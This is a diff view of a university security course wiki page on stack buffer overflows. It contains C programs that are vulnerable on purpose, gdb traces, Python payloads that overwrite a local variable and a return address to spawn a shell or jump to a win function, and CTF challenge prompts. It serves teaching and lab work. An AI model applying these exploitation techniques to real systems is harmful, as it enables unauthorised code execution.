session:06
Differences
This shows you the differences between two versions of the page.
— | session:06 [2020/07/19 09:49] (current) – external edit 127.0.0.1 | ||
---|---|---|---|
Line 1: | Line 1: | ||
+ | ====== 0x05. Buffer Exploitation ====== | ||
+ | ===== Resources ===== | ||
+ | |||
+ | [[https:// | ||
+ | |||
+ | [[https:// | ||
+ | |||
+ | [[https:// | ||
+ | |||
+ | / | ||
+ | |||
+ | ===== Tutorials ===== | ||
+ | |||
+ | ===== Buffers ===== | ||
+ | |||
+ | A buffer is an area of contiguous data in memory, determined by a starting address, contents and length. Understanding how buffers are used (or misused) is vital for both offensive and defensive purposes. | ||
+ | |||
+ | In C, we can declare a buffer of bytes as a char array, as follows: | ||
+ | |||
+ | <code c> | ||
+ | char local_buffer[32]; | ||
+ | </ | ||
+ | |||
+ | Which results in the following assembly code: | ||
+ | |||
+ | <code objdump> | ||
+ | 080483db < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | |||
+ | Notice that buffer allocation is done by simply subtracting its intended size from the current stack pointer ('' | ||
+ | |||
+ | < | ||
+ | A compiler may allocate more space on the stack than explicitly required. For example, on a 64-bit machine with stack canary enabled (an additional 64-bit value is implicitly placed between buffers and the return address - more on that in future sessions), declaring either '' | ||
+ | |||
+ | To exploit a program, the C source code may not be a good enough reference point. Only disassembling the executable will provide relevant information. | ||
+ | </ | ||
+ | |||
+ | Buffers can be also be stored in other places in memory, such as the '' | ||
+ | |||
+ | You can find the following code snippet [[https:// | ||
+ | <code c buffers.c> | ||
+ | #include < | ||
+ | #include < | ||
+ | |||
+ | char g_buf_init_zero[32] = {0}; | ||
+ | /* g_buf_init_vals[5..31] will be 0 */ | ||
+ | char g_buf_init_vals[32] = {1, 2, 3, 4, 5}; | ||
+ | const char g_buf_const[32] = " | ||
+ | |||
+ | int main(void) | ||
+ | { | ||
+ | char l_buf[32]; | ||
+ | static char s_l_buf[32]; | ||
+ | char *heap_buf = malloc(32); | ||
+ | |||
+ | free(heap_buf); | ||
+ | |||
+ | return 0; | ||
+ | } | ||
+ | </ | ||
+ | |||
+ | Let's have a look at the executable sections: | ||
+ | <code bash> | ||
+ | $ readelf -S buffers | ||
+ | [Nr] Name Type Addr | ||
+ | ... | ||
+ | [16] .rodata | ||
+ | ... | ||
+ | [24] .data | ||
+ | [25] .bss NOBITS | ||
+ | ... | ||
+ | Key to Flags: | ||
+ | W (write) | ||
+ | A (alloc) | ||
+ | </ | ||
+ | And the address of each symbol (buffer in this case): | ||
+ | <code bash> | ||
+ | 080485c0 R g_buf_const | ||
+ | 0804a040 D g_buf_init_vals | ||
+ | 0804a080 B g_buf_init_zero | ||
+ | 0804a0a0 b s_l_buf.2387 | ||
+ | |||
+ | Key to Flags: | ||
+ | R (symbol is read-only) | ||
+ | D (symbol in initialized data section) | ||
+ | B (symbol in BSS data section) | ||
+ | | ||
+ | Uppercase and lowercase flags have the same meaning. | ||
+ | A lowercase flag means variable is not visible outside the module | ||
+ | </ | ||
+ | |||
+ | Alternatively, | ||
+ | <code bash> | ||
+ | gdb-peda$ p & | ||
+ | $1 = (<data variable, no debug info> *) 0x80485c0 < | ||
+ | </ | ||
+ | |||
+ | Using this information you can map each symbol to a data section. | ||
+ | For example, the address of g_buf_const is '' | ||
+ | in the .rodata section '' | ||
+ | |||
+ | Non-static local variables and dynamically allocated buffers cannot be | ||
+ | seen in the executable (they have meaning only at runtime, because they are | ||
+ | allocated on the stack or heap when the code reaches a certain point. Let's | ||
+ | inspect the execution right before calling free() and see where the heap | ||
+ | buffer will be placed: | ||
+ | <code bash> | ||
+ | gdb-peda$ | ||
+ | ----------------------------------registers-----------------------------------] | ||
+ | EAX: 0x804b160 --> 0x0 | ||
+ | EBX: 0x0 | ||
+ | ECX: 0x21e79 | ||
+ | EDX: 0x804b160 --> 0x0 | ||
+ | ESI: 0xf7fb4000 --> 0x1d4d6c | ||
+ | EDI: 0x0 | ||
+ | EBP: 0xffffd798 --> 0x0 | ||
+ | ESP: 0xffffd750 --> 0x804b160 --> 0x0 | ||
+ | EIP: 0x80484e8 (< | ||
+ | EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x80484e8 < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | Guessed arguments: | ||
+ | arg[0]: 0x804b160 --> 0x0 | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd750 --> 0x804b160 --> 0x0 | ||
+ | 0004| 0xffffd754 --> 0xffffd9e0 (" | ||
+ | 0008| 0xffffd758 --> 0xf7e0f049 (add ebx, | ||
+ | 0012| 0xffffd75c --> 0xf7fb7748 --> 0x0 | ||
+ | 0016| 0xffffd760 --> 0xf7fb4000 --> 0x1d4d6c | ||
+ | 0020| 0xffffd764 --> 0xf7fb4000 --> 0x1d4d6c | ||
+ | 0024| 0xffffd768 --> 0x804b160 --> 0x0 | ||
+ | 0028| 0xffffd76c --> 0xf7e0f1ab (add esp,0x10) | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | |||
+ | gdb-peda$ x/wx $ebp-0x30 | ||
+ | 0xffffd768: | ||
+ | gdb-peda$ vmm | ||
+ | Start End Perm Name | ||
+ | ... | ||
+ | 0x0804b000 0x0806d000 rw-p [heap] | ||
+ | ... | ||
+ | </ | ||
+ | |||
+ | The gdb-peda '' | ||
+ | this can be used to easily inspect the addresses and permissions of each memory region. | ||
+ | |||
+ | You can find the following code snippet [[https:// | ||
+ | |||
+ | Let's fill our stack buffer with some values and disassemble the binary: | ||
+ | |||
+ | <code c init_buffer.c> | ||
+ | char local_buffer[32]; | ||
+ | unsigned int i = 0; | ||
+ | |||
+ | for (i = 0; i < 32; i++) { | ||
+ | local_buffer[i] = i; | ||
+ | } | ||
+ | </ | ||
+ | |||
+ | <code objdump> | ||
+ | 080483db < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | |||
+ | Notice that now we subtract '' | ||
+ | |||
+ | Similar to how arguments are referenced using '' | ||
+ | |||
+ | < | ||
+ | Values at offsets relative to '' | ||
+ | reorder local buffers, and space may be interpreted as either ' | ||
+ | </ | ||
+ | |||
+ | Finally, lets add one more interesting change to our code: | ||
+ | |||
+ | <code c> | ||
+ | char local_buffer2[30]; | ||
+ | char local_buffer[2]; | ||
+ | unsigned int i = 0; | ||
+ | |||
+ | for (i = 0; i < 32; i++) { | ||
+ | local_buffer[i] = i; | ||
+ | } | ||
+ | </ | ||
+ | |||
+ | Can you guess how the resulting code will look like, disassembled? | ||
+ | |||
+ | ==== Stack buffer overflows ==== | ||
+ | |||
+ | As we have seen in previous sessions, the stack serves multiple purposes: | ||
+ | * Passing function arguments from the caller to the callee | ||
+ | * Storing local variables for functions | ||
+ | * Temporarily saving register values before a call | ||
+ | * Saving the return address and old frame pointer | ||
+ | |||
+ | Our previous example clearly showcases the fact that even though in an abstract sense, different buffers are separate from one another, ultimately they are just some regions of memory which do not have any intrinsic identification or associated size. This is the reason why in some higher level languages it is not possible to write beyond the bounds of containers - the size is integrated into the object itself. | ||
+ | |||
+ | But in our case, bounds are unchecked, therefore it is up to the programmer to code carefully. This includes checking for any overflows and using **safe functions**. Unfortunately, | ||
+ | |||
+ | What can happen in the event that we write outside the bounds of a stack buffer? | ||
+ | |||
+ | You can find the following code snippet [[https:// | ||
+ | <code c buffer_overflow.c> | ||
+ | void f(char *buf) | ||
+ | { | ||
+ | unsigned int i = 0; | ||
+ | |||
+ | for (i = 0; i < 100; i++) { | ||
+ | buf[i] = i; | ||
+ | } | ||
+ | } | ||
+ | |||
+ | int main(int argc, char* argv[]) | ||
+ | { | ||
+ | char local_buffer[32]; | ||
+ | f(local_buffer); | ||
+ | |||
+ | return 0; | ||
+ | } | ||
+ | </ | ||
+ | |||
+ | <code gdb> | ||
+ | $ ./ | ||
+ | Segmentation fault (core dumped) | ||
+ | </ | ||
+ | |||
+ | What happened? Let's try to find the cause starting with the call of '' | ||
+ | |||
+ | <code gdb> | ||
+ | gdb-peda$ b *0x08048430 | ||
+ | Breakpoint 1 at 0x8048430 | ||
+ | |||
+ | gdb-peda$ r | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0xffffd638 --> 0xffffd6fc --> 0xffffd8ff (" | ||
+ | EBX: 0x0 | ||
+ | ECX: 0x38f575fd | ||
+ | EDX: 0xffffd684 --> 0x0 | ||
+ | ESI: 0xf7fb4000 --> 0x1d4d6c | ||
+ | EDI: 0x0 | ||
+ | EBP: 0xffffd658 --> 0x0 | ||
+ | ESP: 0xffffd634 --> 0xffffd638 --> 0xffffd6fc --> 0xffffd8ff (" | ||
+ | EIP: 0x8048430 (< | ||
+ | EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x8048430 < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | Guessed arguments: | ||
+ | arg[0]: 0xffffd638 --> 0xffffd6fc --> 0xffffd8ff (" | ||
+ | arg[1]: 0xffffd6fc --> 0xffffd8ff (" | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd634 --> 0xffffd638 --> 0xffffd6fc --> 0xffffd8ff (" | ||
+ | 0004| 0xffffd638 --> 0xffffd6fc --> 0xffffd8ff (" | ||
+ | 0008| 0xffffd63c --> 0x8048461 (< | ||
+ | 0012| 0xffffd640 --> 0xf7fe59b0 (push ebp) | ||
+ | 0016| 0xffffd644 --> 0x0 | ||
+ | 0020| 0xffffd648 --> 0x8048449 (< | ||
+ | 0024| 0xffffd64c --> 0x0 | ||
+ | 0028| 0xffffd650 --> 0xf7fb4000 --> 0x1d4d6c | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | |||
+ | Breakpoint 1, 0x08048430 in main () | ||
+ | |||
+ | gdb-peda$ ni | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0xffffd69b --> 0x63 (' | ||
+ | EBX: 0x0 | ||
+ | ECX: 0x38f575fd | ||
+ | EDX: 0x63 (' | ||
+ | ESI: 0xf7fb4000 --> 0x1d4d6c | ||
+ | EDI: 0x0 | ||
+ | EBP: 0xffffd658 (" !\"# | ||
+ | ESP: 0xffffd634 --> 0xffffd638 --> 0x3020100 | ||
+ | EIP: 0x8048435 (< | ||
+ | EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x8048435 < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd634 --> 0xffffd638 --> 0x3020100 | ||
+ | 0004| 0xffffd638 --> 0x3020100 | ||
+ | 0008| 0xffffd63c --> 0x7060504 | ||
+ | 0012| 0xffffd640 --> 0xb0a0908 | ||
+ | 0016| 0xffffd644 --> 0xf0e0d0c | ||
+ | 0020| 0xffffd648 --> 0x13121110 | ||
+ | 0024| 0xffffd64c --> 0x17161514 | ||
+ | 0028| 0xffffd650 --> 0x1b1a1918 | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | 0x08048435 in main () | ||
+ | |||
+ | gdb-peda$ b *0x0804843e | ||
+ | Breakpoint 2 at 0x0804843e | ||
+ | |||
+ | gdb-peda$ c | ||
+ | Continuing. | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0x0 | ||
+ | EBX: 0x0 | ||
+ | ECX: 0x38f575fd | ||
+ | EDX: 0x63 (' | ||
+ | ESI: 0xf7fb4000 --> 0x1d4d6c | ||
+ | EDI: 0x0 | ||
+ | EBP: 0x23222120 (' !"#' | ||
+ | ESP: 0xffffd65c (" | ||
+ | EIP: 0x804843e (< | ||
+ | EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x804843e < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd65c (" | ||
+ | 0004| 0xffffd660 (" | ||
+ | 0008| 0xffffd664 (", | ||
+ | 0012| 0xffffd668 (" | ||
+ | 0016| 0xffffd66c (" | ||
+ | 0020| 0xffffd670 (" | ||
+ | 0024| 0xffffd674 ("< | ||
+ | 0028| 0xffffd678 (" | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | |||
+ | Breakpoint 2, 0x0804843e in main () | ||
+ | |||
+ | gdb-peda$ ni | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0x0 | ||
+ | EBX: 0x0 | ||
+ | ECX: 0x38f575fd | ||
+ | EDX: 0x63 (' | ||
+ | ESI: 0xf7fb4000 --> 0x1d4d6c | ||
+ | EDI: 0x0 | ||
+ | EBP: 0x23222120 (' !"#' | ||
+ | ESP: 0xffffd660 (" | ||
+ | EIP: 0x27262524 (" | ||
+ | EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | Invalid $PC address: 0x27262524 | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd660 (" | ||
+ | 0004| 0xffffd664 (", | ||
+ | 0008| 0xffffd668 (" | ||
+ | 0012| 0xffffd66c (" | ||
+ | 0016| 0xffffd670 (" | ||
+ | 0020| 0xffffd674 ("< | ||
+ | 0024| 0xffffd678 (" | ||
+ | 0028| 0xffffd67c (" | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | 0x27262524 in ?? () | ||
+ | </ | ||
+ | |||
+ | It seems that the return address of '' | ||
+ | |||
+ | <note important> | ||
+ | A buffer overflow is an anomaly caused by writing beyond the bounds of a buffer; it is not necessarily a vulnerability. The presence of a buffer overflow can lead to strange behavior, a crash, arbitrary code execution or absolutely **nothing**. | ||
+ | </ | ||
+ | |||
+ | ==== Diverting code execution ==== | ||
+ | |||
+ | We attempted to use the wonderful '' | ||
+ | |||
+ | < | ||
+ | DESCRIPTION | ||
+ | Never use this function. | ||
+ | |||
+ | | ||
+ | null byte (' | ||
+ | </ | ||
+ | |||
+ | However, we can still handcraft our own vulnerable scenario. Let's try to divert the code execution by using a buffer overflow vulnerability. | ||
+ | |||
+ | You can find the following code snippet [[https:// | ||
+ | |||
+ | <code c buffer_overflow_var.c> | ||
+ | #include < | ||
+ | #include < | ||
+ | |||
+ | void f(char* buf) { | ||
+ | |||
+ | fgets(buf, 100, stdin); | ||
+ | } | ||
+ | |||
+ | int main(int argc, char* argv[]) | ||
+ | { | ||
+ | int critical_variable = 0; | ||
+ | char local_buffer[32]; | ||
+ | f(local_buffer); | ||
+ | |||
+ | if (critical_variable == 1337) { | ||
+ | printf(" | ||
+ | system("/ | ||
+ | } | ||
+ | | ||
+ | return 0; | ||
+ | } | ||
+ | </ | ||
+ | |||
+ | Our '' | ||
+ | |||
+ | <code bash> | ||
+ | $ python -c "print ' | ||
+ | </ | ||
+ | |||
+ | Nothing happened. Let's find out why. We'll save our payload to a file and run '' | ||
+ | |||
+ | <code bash> | ||
+ | $ python -c "print ' | ||
+ | $ gdb ./ | ||
+ | gdb-peda$ b *0x80484fc | ||
+ | Breakpoint 1 at 0x80484fc | ||
+ | |||
+ | gdb-peda$ r < payload | ||
+ | Starting program: ./ | ||
+ | |||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0xffffd5dc (' | ||
+ | EBX: 0x0 | ||
+ | ECX: 0xf7fb589c --> 0x0 | ||
+ | EDX: 0xffffd5dc (' | ||
+ | ESI: 0xf7fb4000 --> 0x1d4d6c | ||
+ | EDI: 0x0 | ||
+ | EBP: 0xffffd608 --> 0x0 | ||
+ | ESP: 0xffffd5d0 --> 0xf7fb4000 --> 0x1d4d6c | ||
+ | EIP: 0x80484fc (< | ||
+ | EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x80484fc < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd5d0 --> 0xf7fb4000 --> 0x1d4d6c | ||
+ | 0004| 0xffffd5d4 --> 0xf7fb4000 --> 0x1d4d6c | ||
+ | 0008| 0xffffd5d8 --> 0x0 | ||
+ | 0012| 0xffffd5dc (' | ||
+ | 0016| 0xffffd5e0 (' | ||
+ | 0020| 0xffffd5e4 (' | ||
+ | 0024| 0xffffd5e8 (' | ||
+ | 0028| 0xffffd5ec (' | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | |||
+ | Breakpoint 1, 0x080484fc in main () | ||
+ | |||
+ | gdb-peda$ x/wx $ebp-0xc | ||
+ | 0xffffd5fc: | ||
+ | gdb-peda$ x/s $ebp-0xc | ||
+ | 0xffffd5fc: | ||
+ | </ | ||
+ | |||
+ | <note tip> | ||
+ | We usually use high level scripting languages, such as **python** to craft payloads. For example, to generate 32 '' | ||
+ | </ | ||
+ | |||
+ | We can observe two things: | ||
+ | * We actually wrote the __string__ '' | ||
+ | * We missed the fact that x86 is Little Endian, meaning that we should write the integer value into memory starting with the least significant byte first. | ||
+ | |||
+ | An easy way to overcome this is to write a small script which will generate the required payload for us, as follows: | ||
+ | |||
+ | <code python> | ||
+ | # | ||
+ | import struct | ||
+ | |||
+ | buflen = 32 | ||
+ | |||
+ | payload = ' | ||
+ | payload += struct.pack('< | ||
+ | |||
+ | open(' | ||
+ | </ | ||
+ | |||
+ | Note the use of '' | ||
+ | |||
+ | Let's test our new payload: | ||
+ | |||
+ | < | ||
+ | $ cat payload | ./ | ||
+ | Oh dear, you shouldn' | ||
+ | </ | ||
+ | |||
+ | It seems to alter the code flow as we wanted to, but it doesn' | ||
+ | |||
+ | < | ||
+ | $ cat payload - | ./ | ||
+ | Oh dear, you shouldn' | ||
+ | date | ||
+ | Tue Jun 27 22:17:48 EEST 2017 | ||
+ | whoami | ||
+ | root | ||
+ | </ | ||
+ | |||
+ | <note tip> | ||
+ | We used the '' | ||
+ | </ | ||
+ | |||
+ | ==== Overwriting the stored return address ==== | ||
+ | |||
+ | Let's wrap up our stack smashing adventure by changing the code flow through overwriting the return address stored on the stack. | ||
+ | |||
+ | You can find the following code snippet [[https:// | ||
+ | |||
+ | <code c buffer_overflow_ret.c> | ||
+ | #include < | ||
+ | |||
+ | void win() | ||
+ | { | ||
+ | printf(" | ||
+ | } | ||
+ | |||
+ | void f() | ||
+ | { | ||
+ | printf(" | ||
+ | } | ||
+ | |||
+ | void get_message(char *buf) | ||
+ | { | ||
+ | fgets(buf, 100, stdin); | ||
+ | } | ||
+ | |||
+ | int main(int argc, char* argv[]) | ||
+ | { | ||
+ | char local_buffer[32]; | ||
+ | |||
+ | printf(" | ||
+ | get_message(local_buffer); | ||
+ | |||
+ | f(); | ||
+ | |||
+ | return 0; | ||
+ | } | ||
+ | </ | ||
+ | |||
+ | First, let's trigger the program to crash like in the previous example: | ||
+ | |||
+ | <code bash> | ||
+ | $ ./ | ||
+ | Please leave a message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ||
+ | Nothing to see here | ||
+ | Segmentation fault (core dumped) | ||
+ | </ | ||
+ | |||
+ | However, we do not know at which point relative to the start of our buffer the saved return address gets overwritten. We can either compute it by looking at the disassembly and the stack layout or by using a De Bruijn pattern in PEDA. Such a pattern contains unique groups of 4 characters, meaning that each group will have a unique offset within the pattern. | ||
+ | |||
+ | <code bash> | ||
+ | $ gdb ./ | ||
+ | gdb-peda$ pattc 100 | ||
+ | ' | ||
+ | gdb-peda$ r | ||
+ | Starting program: ./ | ||
+ | Please leave a message: AAA%AAsAABAA$AAnAACAA-AA(AADAA; | ||
+ | Nothing to see here | ||
+ | |||
+ | Program received signal SIGSEGV, Segmentation fault. | ||
+ | |||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0x0 | ||
+ | EBX: 0x0 | ||
+ | ECX: 0x804b160 (" | ||
+ | EDX: 0xf7fb5890 --> 0x0 | ||
+ | ESI: 0xf7fb4000 --> 0x1d4d6c | ||
+ | EDI: 0x0 | ||
+ | EBP: 0x61414145 (' | ||
+ | ESP: 0xffffd620 (" | ||
+ | EIP: 0x41304141 (' | ||
+ | EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | Invalid $PC address: 0x41304141 | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd620 (" | ||
+ | 0004| 0xffffd624 (" | ||
+ | 0008| 0xffffd628 (" | ||
+ | 0012| 0xffffd62c (" | ||
+ | 0016| 0xffffd630 (" | ||
+ | 0020| 0xffffd634 (" | ||
+ | 0024| 0xffffd638 (" | ||
+ | 0028| 0xffffd63c (" | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | Stopped reason: SIGSEGV | ||
+ | 0x41304141 in ?? () | ||
+ | |||
+ | gdb-peda$ patto AA0A | ||
+ | AA0A found at offset: 40 | ||
+ | </ | ||
+ | |||
+ | This tells us that we need to write 40 characters into the buffer and then the next 4 bytes will overwrite the return address. Let's test this, again, by writing a script that can generate a payload, which we can easily tailor to our needs. First, let's see if we can reliably change the value of the return address. We'll attempt to write '' | ||
+ | |||
+ | <code python> | ||
+ | # | ||
+ | import struct | ||
+ | |||
+ | payload = ' | ||
+ | payload += struct.pack('< | ||
+ | |||
+ | open(' | ||
+ | </ | ||
+ | |||
+ | <code bash> | ||
+ | gdb-peda$ r < payload | ||
+ | Starting program: ./ | ||
+ | Please leave a message: Nothing to see here | ||
+ | |||
+ | Program received signal SIGSEGV, Segmentation fault. | ||
+ | |||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0x0 | ||
+ | EBX: 0x0 | ||
+ | ECX: 0x804b160 (" | ||
+ | EDX: 0xf7fb5890 --> 0x0 | ||
+ | ESI: 0xf7fb4000 --> 0x1d4d6c | ||
+ | EDI: 0x0 | ||
+ | EBP: 0x61616161 (' | ||
+ | ESP: 0xffffd620 --> 0x0 | ||
+ | EIP: 0xdeadbeef | ||
+ | EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | Invalid $PC address: 0xdeadbeef | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd620 --> 0x0 | ||
+ | 0004| 0xffffd624 --> 0xffffd6b4 --> 0xffffd859 (" | ||
+ | 0008| 0xffffd628 --> 0xffffd6bc --> 0xffffd8cb (" | ||
+ | 0012| 0xffffd62c --> 0xffffd644 --> 0x0 | ||
+ | 0016| 0xffffd630 --> 0x1 | ||
+ | 0020| 0xffffd634 --> 0x0 | ||
+ | 0024| 0xffffd638 --> 0xf7fb4000 --> 0x1d4d6c | ||
+ | 0028| 0xffffd63c --> 0xf7fe575a (add edi, | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | Stopped reason: SIGSEGV | ||
+ | 0xdeadbeef in ?? () | ||
+ | </ | ||
+ | |||
+ | Excellent. Now we can replace '' | ||
+ | |||
+ | <code python> | ||
+ | ... | ||
+ | payload += struct.pack('< | ||
+ | ... | ||
+ | </ | ||
+ | |||
+ | < | ||
+ | $ cat payload | ./ | ||
+ | Please leave a message: Nothing to see here | ||
+ | Well done! | ||
+ | Segmentation fault (core dumped) | ||
+ | </ | ||
+ | |||
+ | Our job here is done. Now it's time for you to smash some stacks. | ||
+ | |||
+ | <note tip> | ||
+ | Keep in mind that buffer overflows are not the only type of vulnerability, | ||
+ | </ | ||
+ | |||
+ | ===== Challenges ===== | ||
+ | |||
+ | <note important> | ||
+ | Before venturing forth, consider the following roadmap when approaching a challenge: | ||
+ | * disassemble the binary | ||
+ | * identify the stack buffer | ||
+ | * identify functions which work with buffers | ||
+ | * see if there are any mismatches (declared size vs. index used) | ||
+ | * dynamic analysis in GDB; inject De Bruijn patterns whenever input is read | ||
+ | * determine offset in buffer | ||
+ | * write a script which generates a payload to reliably crash/ | ||
+ | * keep stdin/ | ||
+ | * ??? | ||
+ | * PROFIT | ||
+ | |||
+ | </ | ||
+ | |||
+ | Use the following [[http:// | ||
+ | |||
+ | ==== 01. Parrot ==== | ||
+ | |||
+ | Some programs feature a "stack smashing protection" | ||
+ | |||
+ | We have implemented our very own '' | ||
+ | |||
+ | <note tip> | ||
+ | Values are little endian. So if you want to send '' | ||
+ | </ | ||
+ | |||
+ | <note tip> | ||
+ | When providing input to a program and wanting to maintain connection to its standard input, run: | ||
+ | < | ||
+ | cat payload - | ./program | ||
+ | </ | ||
+ | |||
+ | Or, if you have a payload generator program such as '' | ||
+ | < | ||
+ | cat <(python payload.py) - | ./program | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | ==== 02. Indexing ==== | ||
+ | |||
+ | More complex programs require some form of protocol or user interaction. This is where the great [[https:// | ||
+ | |||
+ | Here's an interactive script to get you started: | ||
+ | |||
+ | <code python exploit.py> | ||
+ | # | ||
+ | from pwn import * | ||
+ | |||
+ | p = process(' | ||
+ | |||
+ | p.recvuntil(' | ||
+ | p.sendline() # TODO (must be string) | ||
+ | |||
+ | # Give value | ||
+ | p.recvuntil(' | ||
+ | p.sendline() # TODO (must be string) | ||
+ | p.interactive() | ||
+ | </ | ||
+ | |||
+ | <note tip> | ||
+ | Go through GDB when aiming to solve this challenge. As all input values are strings, you can input them at the keyboard and follow their effect in GDB. | ||
+ | </ | ||
+ | |||
+ | <note tip> | ||
+ | You can inspect the behavior of a program for a given input by doing: | ||
+ | < | ||
+ | cat payload | strace ./program | ||
+ | </ | ||
+ | That is, you will trace the program being exploited and see '' | ||
+ | </ | ||
+ | ==== 03. Smashthestack Level7 ==== | ||
+ | |||
+ | Now you can tackle a real challenge. See if you can figure out how you can get a shell from this one. | ||
+ | |||
+ | <note tip> | ||
+ | There' | ||
+ | </ | ||
+ | |||
+ | <note tip> | ||
+ | What are the four 32 bit values that multiplied by '' | ||
+ | </ | ||
+ | |||
+ | <note tip> | ||
+ | In order to run a program that receives command line arguments under gdb, you can do the following: | ||
+ | |||
+ | <code gdb> | ||
+ | $ gdb ./main | ||
+ | gdb$ set args arg1 arg2 arg3 | ||
+ | gdb$ start | ||
+ | </ | ||
+ | </ | ||
+ | ==== 04. Neighbourly ==== | ||
+ | |||
+ | Let's overwrite a structure' | ||
+ | |||
+ | <note tip> | ||
+ | The '' | ||
+ | </ | ||
+ | |||
+ | ==== 05. Uninitialized ==== | ||
+ | |||
+ | There' | ||
+ | |||
+ | <note tip> | ||
+ | Do **not** use pwntools for this task. | ||
+ | </ | ||
+ | ==== 06: Bonus: Uninitialized 2 ==== | ||
+ | |||
+ | There' | ||
+ | |||
+ | <note tip> | ||
+ | Use '' | ||
+ | </ | ||
+ | |||
+ | <note important> | ||
+ | Create a pwntools-based script to solve both the initial executable and the bonus one. | ||
+ | </ | ||
+ | |||
+ | ==== 05. Bonus: Birds ==== | ||
+ | |||
+ | Time for a more complex challenge. Be patient and don't speed through it. |